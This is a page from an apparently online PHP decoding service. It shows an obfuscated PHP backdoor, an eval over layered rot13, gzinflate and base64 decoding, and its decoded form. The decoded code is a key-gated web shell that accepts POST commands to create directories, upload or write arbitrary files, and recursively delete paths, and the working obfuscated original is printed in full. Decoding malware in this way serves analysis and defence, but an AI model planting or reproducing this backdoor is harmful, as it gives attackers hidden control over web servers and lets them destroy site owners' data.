Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$key = '188162e90b88271030885b3bd7cfd523'; //stusa eval(str_rot13(gzinflate(str_rot13(bas..
Decoded Output download
if(isset($_POST['a']) && (md5($_POST['k']) == $key) && ($_POST['a'] == 'ping')) {
die('pong');
}
if(isset($_POST['a']) && (md5($_POST['k']) == $key) && ($_POST['a'] == 'md') && (strlen($_POST['name']) > 0)) {
if (@mkdir(trim($_POST['name']))) {
die('1');
} else {
die('0');
}
}
if(isset($_POST['a']) && (md5($_POST['k']) == $key) && ($_POST['a'] == 'uf') && isset($_FILES['f']) && ($_FILES['f']['error'] == 0) && (strlen($_POST['name']) > 0)) {
$d = trim($_POST['name']);
if (!file_exists($d)) {
@mkdir($d);
}
$filename = $_FILES['f']['name'];
move_uploaded_file($_FILES["f"]["tmp_name"], $d. "/" . $filename);
if (file_exists($d. "/" . $filename)) {
die('1');
} else {
file_put_contents($d. "/" . $filename, file_get_contents($_FILES["f"]["tmp_name"]));
if (file_exists($d. "/" . $filename)) {
die('1');
} else {
die('0');
}
}
}
if(isset($_POST['a']) && (md5($_POST['k']) == $key) && ($_POST['a'] == 'uf1') && (strlen($_POST['f']) > 0) && isset($_POST['fn']) && (strlen($_POST['name']) > 0)) {
$d = trim($_POST['name']);
if (!file_exists($d)) {
@mkdir($d);
}
$filename = trim($_POST['fn']);
file_put_contents($d. "/" . $filename, base64_decode($_POST['f']));
if (file_exists($d. "/" . $filename)) {
die('1');
} else {
die('0');
}
}
if(isset($_POST['a']) && (md5($_POST['k']) == $key) && ($_POST['a'] == 'dd') && (strlen($_POST['name']) > 0)) {
rmrf(trim($_POST['name']));
die('1');
}
die('0');
function rmrf($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
rmrf($item);
else
@unlink($item);
}
closedir($dh);
rmdir($path);
}
Did this file decode correctly?
Original Code
$key = '188162e90b88271030885b3bd7cfd523'; //stusa
eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));
Function Calls
strrev | 3 |
gzinflate | 11 |
str_rot13 | 11 |
gzuncompress | 4 |
rawurldecode | 1 |
base64_decode | 18 |
Stats
MD5 | 217d5921c7caf8dd3016704395f84895 |
Eval Count | 16 |
Decode Time | 125 ms |